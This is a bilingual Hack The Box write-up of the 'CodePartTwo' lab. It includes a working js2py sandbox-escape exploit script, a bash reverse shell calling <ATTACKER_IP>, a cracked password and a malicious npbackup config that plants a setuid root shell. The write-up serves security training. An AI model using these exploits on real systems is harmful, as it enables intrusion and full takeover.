CodePartTwo
Executive summary — CodePartTwo is a Flask app for running JavaScript online that exposes its own source code (and, unintentionally, its production SQLite database) through an unauthenticated
/downloadendpoint. The source reveals the use of js2py, vulnerable to CVE-2024-28397 — a sandbox escape that gives direct RCE despitedisable_pyimport(). An MD5 hash leaked in the database is cracked with a wordlist and turns out to be reused on the real SSH account. From there, asudo NOPASSWDon the npbackup backup tool, combined with its configurable pre-execution hooks in an arbitrary YAML file, gives full control as root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.232.59 |
Attack map
[8000] CodePartTwo — /download leaks the source code + SQLite with no authentication
│ CVE-2024-28397 — js2py sandbox escape at /run_code
▼
[RCE] Command execution as app
│ MD5 hash in the DB (marco) cracked with rockyou → reused over SSH
▼
[SSH] marco@host
│ sudo NOPASSWD on npbackup-cli -c <arbitrary config>
▼
[ROOT] pre_exec_commands from the YAML config → root
1. Reconnaissance
nmap -p- --min-rate 5000 -v 10.129.232.59 -oN nmap_ports.txt
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
nmap -p22,8000 -sCV -v 10.129.232.59 -oN nmap_sV.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
Gunicorn confirms a Python (WSGI) application, most likely Flask or Django.
Resumen ejecutivo — CodePartTwo es una app Flask para ejecutar JavaScript online que expone su propio código fuente (y, sin querer, su base de datos SQLite en producción) a través de un endpoint
/downloadsin autenticación. El código revela el uso de js2py, vulnerable a CVE-2024-28397 — un sandbox escape que da RCE directo a pesar dedisable_pyimport(). Un hash MD5 filtrado en la base de datos se crackea con una wordlist y resulta reutilizado en la cuenta SSH real. Desde ahí, unsudo NOPASSWDsobre la herramienta de backup npbackup, combinado con sus «hooks» de pre-ejecución configurables en un fichero YAML arbitrario, da control total como root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.232.59 |
Mapa del ataque
[8000] CodePartTwo — /download filtra el código fuente + SQLite sin autenticación
│ CVE-2024-28397 — sandbox escape de js2py en /run_code
▼
[RCE] Ejecución de comandos como app
│ Hash MD5 en la BD (marco) crackeado con rockyou → reutilizado por SSH
▼
[SSH] marco@host
│ sudo NOPASSWD sobre npbackup-cli -c <config arbitrario>
▼
[ROOT] pre_exec_commands del config YAML → root
1. Reconocimiento
nmap -p- --min-rate 5000 -v 10.129.232.59 -oN nmap_ports.txt
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
nmap -p22,8000 -sCV -v 10.129.232.59 -oN nmap_sV.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
Gunicorn confirma una aplicación Python (WSGI), muy probablemente Flask o Django.
2. Web enumeration — an unauthenticated download endpoint
curl -s http://10.129.232.59:8000/ shows the «CodePartTwo» landing page, a platform for writing, saving and running JavaScript online, with links to /login, /register and /download («Download App»).
curl -s -i http://10.129.232.59:8000/download
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=app.zip
Content-Type: application/zip
The
/downloadendpoint hands out the full application source code with no authentication at all — a critical design flaw (likely meant as "the app is open-source", but it also exposes the production database).
curl -s http://10.129.232.59:8000/download -o app.zip
unzip app.zip -d app_src
app/app.py— the full Flask source.app/requirements.txt— dependencies with exact versions.app/instance/users.db— a SQLite database (in production!) with users and hashes.
3. Foothold — CVE-2024-28397 (js2py sandbox escape)
Relevant excerpt from app.py:
import js2py
js2py.disable_pyimport()
...
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
js2pyinterprets JavaScript directly in Python (for the app's «run code» feature). Version 0.74 is vulnerable to CVE-2024-28397: a sandbox escape that, despitedisable_pyimport(), allows walking Python's class hierarchy from JavaScript (Object.getOwnPropertyNames({}).__getattribute__→object.__base__→__subclasses__()) untilsubprocess.Popenis found and run directly, with no need for the blockedpyimportfunction.
Reference public PoC: Marven11/CVE-2024-28397-js2py-Sandbox-Escape. Adapted payload (simpler: subprocess.Popen is a direct subclass of object, no need for the original PoC's recursive search):
let hacked, bymarve, n11
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
let subs = obj.__subclasses__()
let found = null
for(let i in subs) {
let item = subs[i]
if (item.__name__ == "Popen") { found = item }
}
let proc = found(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()
out[0].decode("utf-8", "ignore")
import requests
def build_payload(cmd):
return f'''
let cmd = "{cmd}"
let hacked, bymarve, n11
hacked = Object.getOwnPropertyNames({{}})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
let subs = obj.__subclasses__()
let found = null
for(let i in subs) {{
let item = subs[i]
if (item.__name__ == "Popen") {{ found = item }}
}}
let proc = found(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()
out[0].decode("utf-8", "ignore")
'''
r = requests.post("http://10.129.232.59:8000/run_code", json={"code": build_payload("id")})
print(r.json())
python3 exploit_js2py.py "id"
# {"result": "uid=1001(app) gid=1001(app) groups=1001(app)\n"}
RCE confirmed. Reverse shell (launched in the background with & so it doesn't block the HTTP request's communicate()):
nc -lvnp 4444
python3 exploit_js2py.py 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1" &'
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.232.59] 55060
app@codeparttwo:~/app$
4. Leaked credentials in the SQLite database (user.txt)
sqlite3 /home/app/app/instance/users.db 'select * from user;'
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
app.pyuseshashlib.md5(password.encode()).hexdigest()for the stored hash — confirming these are plain MD5 hashes.
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove
marco's web account password (sweetangelbabylove) turns out to be reused for their real operating-system account:
ssh marco@10.129.232.59 # Password: sweetangelbabylove
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ cat user.txt
d42c712fe3f76528c6ca32d8de77efda
5. Privilege escalation — npbackup hooks via sudo NOPASSWD (root.txt)
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marcocan runnpbackup-cli(Python package npbackup 3.0.1, a wrapper around the restic backup tool) as root, with no password. This binary accepts a-c CONFIG_FILEflag pointing to an arbitrary YAML config file.
Checking /usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py:
def _exec_commands(exec_type, command_list, per_command_timeout, failure_is_fatal):
commands_success = True
if command_list:
for command in command_list:
exit_code, output = command_runner(
command, shell=True, timeout=per_command_timeout
)
...
return commands_success
pre_exec_commands_success = _exec_commands(
"Pre", pre_exec_commands, pre_exec_per_command_timeout, pre_exec_failure_is_fatal
)
Each backup «group» config accepts
backup_opts.pre_exec_commands, a list of commands run viashell=Trueright before npbackup touches the backup repository. Since the whole binary runs as root via sudo, any command in thepre_exec_commandsof a config we supply ourselves (-c) runs as root.
Malicious YAML config (based on the real structure seen in /home/marco/npbackup.conf, with a fresh local repo and a plaintext password — npbackup accepts it fine):
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri: /tmp/evilrepo
repo_group: evil_group
backup_opts:
paths: [/tmp/dummy]
source_type: folder_list
repo_opts:
repo_password: test1234
groups:
evil_group:
backup_opts:
pre_exec_commands:
- "cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash"
pre_exec_failure_is_fatal: false
...
scp evil.conf marco@10.129.232.59:/tmp/evil.conf
ssh marco@10.129.232.59
marco@codeparttwo:~$ mkdir -p /tmp/dummy && echo test > /tmp/dummy/file.txt
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /tmp/evil.conf -b --force
2026-07-30 00:11:03,598 :: INFO :: npbackup 3.0.1 ... running as root
2026-07-30 00:11:03,700 :: INFO :: Pre-execution of command cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash succeeded with: None
2026-07-30 00:11:04,025 :: INFO :: Repo is not initialized. Initializing repo for backup operation
...
The pre-exec command ran successfully as root (the log itself confirms it:
running as root). The later failure («Backup is smaller than configured minimum backup size») is irrelevant — the goal was already achieved before the backup itself fails.
marco@codeparttwo:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(marco) gid=1000(marco) euid=0(root) egid=0(root) groups=0(root),1000(marco),1003(backups)
rootbash-5.0# cat /root/root.txt
ba2dc619e7affaca423ab55d72b3ff1b
Cleanup: the same pre_exec_commands mechanism was reused (this time with rm -rf) to remove the root-owned artifacts marco couldn't delete directly due to the sticky bit on /tmp.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Reconnaissance | /download endpoint | Downloads the source code and the production database with no authentication | Leaked credentials and internal app logic |
| Foothold | js2py 0.74 (/run_code endpoint) | CVE-2024-28397 — sandbox escape reaching subprocess.Popen | RCE as app |
| Lateral movement | MD5 hash in users.db | Weak password cracked with rockyou, reused on the real SSH account | SSH access as marco (user.txt) |
| PrivEsc | npbackup-cli via sudo NOPASSWD | pre_exec_commands configurable in an arbitrary YAML (-c) | Root (root.txt) |
Lessons learned
- Exposing a «download the source code» endpoint without checking what files the package actually includes is a critical error: here it included the production SQLite database with real user credentials.
- CVE-2024-28397 (js2py sandbox escape) is trivially exploitable even with
disable_pyimport()enabled: any Python code that runsjs2py.eval_js()on untrusted input should be treated as direct RCE. js2py has no official patch — the only real mitigation is not using it on untrusted user input. - Password reuse between a web app and the real operating-system account remains an extremely common escalation pattern — any hash or password found in an app should also be tried against SSH/system accounts.
- Backup tools with configurable pre/post-execution hooks, combined with sudo over a binary that accepts an arbitrary config file, are a direct privilege-escalation path — the pattern "sudo NOPASSWD on a binary that reads an attacker-controlled config, and that config can run commands" generalizes to many automation/backup/CI tools, not just npbackup.
2. Enumeración web — un endpoint de descarga sin autenticar
curl -s http://10.129.232.59:8000/ muestra la página de aterrizaje de «CodePartTwo», una plataforma para escribir, guardar y ejecutar código JavaScript online, con enlaces a /login, /register y /download («Download App»).
curl -s -i http://10.129.232.59:8000/download
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=app.zip
Content-Type: application/zip
El endpoint
/downloadentrega el código fuente completo de la aplicación sin ningún tipo de autenticación — un fallo de diseño gravísimo (probablemente pensado como «app open-source», pero expone también la base de datos en producción).
curl -s http://10.129.232.59:8000/download -o app.zip
unzip app.zip -d app_src
app/app.py— código fuente Flask completo.app/requirements.txt— dependencias con versiones exactas.app/instance/users.db— base de datos SQLite (¡en producción!) con usuarios y hashes.
3. Foothold — CVE-2024-28397 (sandbox escape de js2py)
Extracto relevante de app.py:
import js2py
js2py.disable_pyimport()
...
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
js2pyinterpreta JavaScript directamente en Python (para el «ejecutar código» de la app). La versión 0.74 es vulnerable a CVE-2024-28397: un sandbox escape que permite, pese adisable_pyimport(), recorrer la jerarquía de clases de Python desde JavaScript (Object.getOwnPropertyNames({}).__getattribute__→object.__base__→__subclasses__()) hasta encontrarsubprocess.Popeny ejecutarlo directamente, sin necesitar la funciónpyimportque sí está bloqueada.
PoC público de referencia: Marven11/CVE-2024-28397-js2py-Sandbox-Escape. Payload adaptado (más simple: subprocess.Popen es subclase directa de object, no hace falta la búsqueda recursiva del PoC original):
let hacked, bymarve, n11
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
let subs = obj.__subclasses__()
let found = null
for(let i in subs) {
let item = subs[i]
if (item.__name__ == "Popen") { found = item }
}
let proc = found(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()
out[0].decode("utf-8", "ignore")
import requests
def build_payload(cmd):
return f'''
let cmd = "{cmd}"
let hacked, bymarve, n11
hacked = Object.getOwnPropertyNames({{}})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
let subs = obj.__subclasses__()
let found = null
for(let i in subs) {{
let item = subs[i]
if (item.__name__ == "Popen") {{ found = item }}
}}
let proc = found(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()
out[0].decode("utf-8", "ignore")
'''
r = requests.post("http://10.129.232.59:8000/run_code", json={"code": build_payload("id")})
print(r.json())
python3 exploit_js2py.py "id"
# {"result": "uid=1001(app) gid=1001(app) groups=1001(app)\n"}
RCE confirmada. Reverse shell (lanzada en background con & para no bloquear el communicate() del request HTTP):
nc -lvnp 4444
python3 exploit_js2py.py 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1" &'
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.232.59] 55060
app@codeparttwo:~/app$
4. Credenciales filtradas en la base de datos SQLite (user.txt)
sqlite3 /home/app/app/instance/users.db 'select * from user;'
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
app.pyusahashlib.md5(password.encode()).hexdigest()para el hash almacenado — confirma que son hashes MD5 planos.
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove
La contraseña de la cuenta web de
marco(sweetangelbabylove) resulta estar reutilizada para su cuenta real del sistema operativo:
ssh marco@10.129.232.59 # Password: sweetangelbabylove
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ cat user.txt
d42c712fe3f76528c6ca32d8de77efda
5. Escalada — hooks de npbackup con sudo NOPASSWD (root.txt)
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marcopuede ejecutarnpbackup-cli(paquete Python npbackup 3.0.1, wrapper sobre la herramienta de backup restic) como root, sin contraseña. Este binario admite un flag-c CONFIG_FILEpara indicar un archivo de configuración YAML arbitrario.
Revisando /usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py:
def _exec_commands(exec_type, command_list, per_command_timeout, failure_is_fatal):
commands_success = True
if command_list:
for command in command_list:
exit_code, output = command_runner(
command, shell=True, timeout=per_command_timeout
)
...
return commands_success
pre_exec_commands_success = _exec_commands(
"Pre", pre_exec_commands, pre_exec_per_command_timeout, pre_exec_failure_is_fatal
)
Cada configuración de «grupo» de backup admite
backup_opts.pre_exec_commands, una lista de comandos ejecutados víashell=Truejusto antes de que npbackup interactúe con el repositorio. Como el binario completo corre como root vía sudo, cualquier comando enpre_exec_commandsde un config aportado por nosotros (-c) se ejecuta como root.
Config YAML malicioso (basado en la estructura real vista en /home/marco/npbackup.conf, con un repo local nuevo y contraseña en texto plano — npbackup la acepta sin problema):
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri: /tmp/evilrepo
repo_group: evil_group
backup_opts:
paths: [/tmp/dummy]
source_type: folder_list
repo_opts:
repo_password: test1234
groups:
evil_group:
backup_opts:
pre_exec_commands:
- "cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash"
pre_exec_failure_is_fatal: false
...
scp evil.conf marco@10.129.232.59:/tmp/evil.conf
ssh marco@10.129.232.59
marco@codeparttwo:~$ mkdir -p /tmp/dummy && echo test > /tmp/dummy/file.txt
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /tmp/evil.conf -b --force
2026-07-30 00:11:03,598 :: INFO :: npbackup 3.0.1 ... running as root
2026-07-30 00:11:03,700 :: INFO :: Pre-execution of command cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash succeeded with: None
2026-07-30 00:11:04,025 :: INFO :: Repo is not initialized. Initializing repo for backup operation
...
El pre-exec-command corrió exitosamente como root (el propio log lo confirma:
running as root). El fallo posterior («Backup is smaller than configured minimum backup size») es irrelevante — el objetivo ya se cumplió antes de que el backup en sí falle.
marco@codeparttwo:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(marco) gid=1000(marco) euid=0(root) egid=0(root) groups=0(root),1000(marco),1003(backups)
rootbash-5.0# cat /root/root.txt
ba2dc619e7affaca423ab55d72b3ff1b
Limpieza: se reutilizó el mismo mecanismo de pre_exec_commands (esta vez con rm -rf) para eliminar los artefactos propiedad de root que marco no podía borrar directamente por el sticky bit de /tmp.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Reconocimiento | Endpoint /download | Descarga del código fuente y la base de datos en producción sin autenticación | Filtración de credenciales y lógica interna de la app |
| Foothold | js2py 0.74 (endpoint /run_code) | CVE-2024-28397 — sandbox escape que alcanza subprocess.Popen | RCE como app |
| Movimiento lateral | Hash MD5 en users.db | Contraseña débil crackeada con rockyou, reutilizada en la cuenta SSH real | Acceso SSH como marco (user.txt) |
| PrivEsc | npbackup-cli vía sudo NOPASSWD | pre_exec_commands configurable en un YAML arbitrario (-c) | Root (root.txt) |
Lecciones aprendidas
- Exponer un endpoint de «descarga del código fuente» sin verificar qué archivos incluye realmente el paquete es un error crítico: en este caso incluía la base de datos SQLite en producción con credenciales de usuarios reales.
- CVE-2024-28397 (js2py sandbox escape) es trivialmente explotable incluso con
disable_pyimport()activo: cualquier código Python que usejs2py.eval_js()sobre entrada no confiable debe considerarse RCE directo. js2py no tiene parche oficial — la única mitigación real es no usarlo con entrada de usuario no confiable. - La reutilización de contraseñas entre una app web y la cuenta real del sistema operativo sigue siendo un patrón de escalada extremadamente común — cualquier hash o contraseña encontrado en una app debe probarse también contra SSH/cuentas del sistema.
- Herramientas de backup con hooks de pre/post-ejecución configurables, combinadas con sudo sobre un binario que acepta un fichero de configuración arbitrario, son una vía de escalada directa — el patrón «sudo NOPASSWD sobre un binario que lee un config controlado por el atacante y ese config permite ejecutar comandos» es generalizable a muchas herramientas de automatización/backup/CI, no solo npbackup.